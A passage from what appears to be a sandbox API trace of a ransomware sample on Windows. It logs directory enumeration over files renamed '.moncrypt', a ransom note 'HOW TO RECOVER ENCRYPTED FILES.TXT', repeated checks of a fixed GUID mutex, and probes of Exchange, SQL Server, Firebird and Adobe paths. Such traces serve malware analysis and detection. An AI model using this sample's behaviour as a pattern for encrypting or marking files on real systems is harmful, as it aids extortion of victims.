lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.232] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.232] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.233] GlobalUnlock (hMem=0x440004) returned 0 [0055.233] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.233] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.233] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.233] GlobalUnlock (hMem=0x440004) returned 0 [0055.233] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.233] GlobalUnlock (hMem=0x44000c) returned 0 [0055.233] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.233] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd371, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.ITS.moncrypt", cAlternateFileName="MSB1FR~1.MON")) returned 1 [0055.233] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.233] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.233] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.233] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.233] GlobalUnlock (hMem=0x44000c) returned 0 [0055.233] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.233] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.233] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.233] GlobalUnlock (hMem=0x44000c) returned 0 [0055.233] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.233] GlobalUnlock (hMem=0x440004) returned 0 [0055.233] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.233] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96ac5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX.moncrypt", cAlternateFileName="WT61FR~1.MON")) returned 1 [0055.233] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.233] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.233] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.233] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.233] GlobalUnlock (hMem=0x440004) returned 0 [0055.233] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.234] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.234] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.234] GlobalUnlock (hMem=0x440004) returned 0 [0055.234] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.234] GlobalUnlock (hMem=0x44000c) returned 0 [0055.234] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.234] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96ac5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX.moncrypt", cAlternateFileName="WT61FR~1.MON")) returned 0 [0055.234] GetLastError () returned 0x12 [0055.234] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0055.234] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cb8d40, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x41cb8d40, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41cb8d40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0055.234] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0055.234] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.234] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.234] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.234] GlobalUnlock (hMem=0x44000c) returned 0 [0055.234] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.234] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.234] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.234] GlobalUnlock (hMem=0x44000c) returned 0 [0055.235] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.235] GlobalUnlock (hMem=0x440004) returned 0 [0055.235] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.235] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205bd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1AR.LEX.moncrypt", cAlternateFileName="MSB1AR~1.MON")) returned 1 [0055.235] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0055.235] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.235] GlobalLock (hMem=0x440004) returned 0x550170 [0055.235] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.235] GlobalUnlock (hMem=0x440004) returned 0 [0055.235] GlobalLock (hMem=0x440004) returned 0x550170 [0055.235] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.235] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.235] GlobalUnlock (hMem=0x440004) returned 0 [0055.235] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.235] GlobalUnlock (hMem=0x44000c) returned 0 [0055.235] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.235] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x6c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CACH.LEX.moncrypt", cAlternateFileName="MSB1CA~1.MON")) returned 1 [0055.235] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0055.235] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.235] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.235] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.235] GlobalUnlock (hMem=0x44000c) returned 0 [0055.235] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.235] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.235] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.235] GlobalUnlock (hMem=0x44000c) returned 0 [0055.235] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.236] GlobalUnlock (hMem=0x440004) returned 0 [0055.236] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.236] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1 [0055.236] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0055.236] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.236] GlobalLock (hMem=0x440004) returned 0x550170 [0055.236] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.236] GlobalUnlock (hMem=0x440004) returned 0 [0055.236] GlobalLock (hMem=0x440004) returned 0x550170 [0055.236] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.236] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.236] GlobalUnlock (hMem=0x440004) returned 0 [0055.236] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.236] GlobalUnlock (hMem=0x44000c) returned 0 [0055.236] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.236] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1 [0055.236] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0055.236] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.236] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.236] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.236] GlobalUnlock (hMem=0x44000c) returned 0 [0055.236] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.236] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.236] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.236] GlobalUnlock (hMem=0x44000c) returned 0 [0055.236] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.236] GlobalUnlock (hMem=0x440004) returned 0 [0055.236] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.237] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1 [0055.237] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0055.237] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.237] GlobalLock (hMem=0x440004) returned 0x550170 [0055.237] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.237] GlobalUnlock (hMem=0x440004) returned 0 [0055.237] GlobalLock (hMem=0x440004) returned 0x550170 [0055.237] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.237] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.237] GlobalUnlock (hMem=0x440004) returned 0 [0055.237] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.237] GlobalUnlock (hMem=0x44000c) returned 0 [0055.237] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.237] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1 [0055.237] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0055.237] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.237] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.237] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.237] GlobalUnlock (hMem=0x44000c) returned 0 [0055.237] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.237] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.237] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.237] GlobalUnlock (hMem=0x44000c) returned 0 [0055.237] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.237] GlobalUnlock (hMem=0x440004) returned 0 [0055.237] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.237] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 0 [0055.238] GetLastError () returned 0x12 [0055.238] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0055.238] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0055.238] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0055.238] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0055.238] GlobalLock (hMem=0x440004) returned 0x550170 [0055.238] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.238] GlobalUnlock (hMem=0x440004) returned 0 [0055.238] GlobalLock (hMem=0x440004) returned 0x550170 [0055.238] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.238] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.238] GlobalUnlock (hMem=0x440004) returned 0 [0055.238] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.238] GlobalUnlock (hMem=0x44000c) returned 0 [0055.238] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.239] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.239] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.239] GlobalUnlock (hMem=0x44000c) returned 0 [0055.239] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.239] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.239] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.239] GlobalUnlock (hMem=0x44000c) returned 0 [0055.239] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.239] GlobalUnlock (hMem=0x440004) returned 0 [0055.239] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.239] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit", len=0x36 | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit") returned 1 [0055.239] GlobalLock (hMem=0x440004) returned 0x550170 [0055.239] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.239] GlobalUnlock (hMem=0x440004) returned 0 [0055.239] GlobalLock (hMem=0x440004) returned 0x550170 [0055.239] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.239] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.239] GlobalUnlock (hMem=0x440004) returned 0 [0055.239] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.239] GlobalUnlock (hMem=0x44000c) returned 0 [0055.239] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\") returned 26 [0055.239] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@刦U出U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0055.240] GetLastError () returned 0x3 [0055.240] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0055.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0055.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0055.240] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@册U企@\x18㿬Q\x181")) returned 0xffffffff [0055.241] GetLastError () returned 0x2 [0055.241] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0055.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0055.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0055.241] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@ꠜR企@\x18?T\x18;")) returned 0xffffffff [0055.241] GetLastError () returned 0x2 [0055.241] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0055.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0055.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0055.242] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@℔R企@\x18?T\x18D")) returned 0xffffffff [0055.242] GetLastError () returned 0x2 [0055.242] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0055.242] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0055.242] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0055.242] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@册U企@\x18ꠜR\x18j")) returned 0xffffffff [0055.243] GetLastError () returned 0x2 [0055.243] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0055.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0055.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0055.243] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, 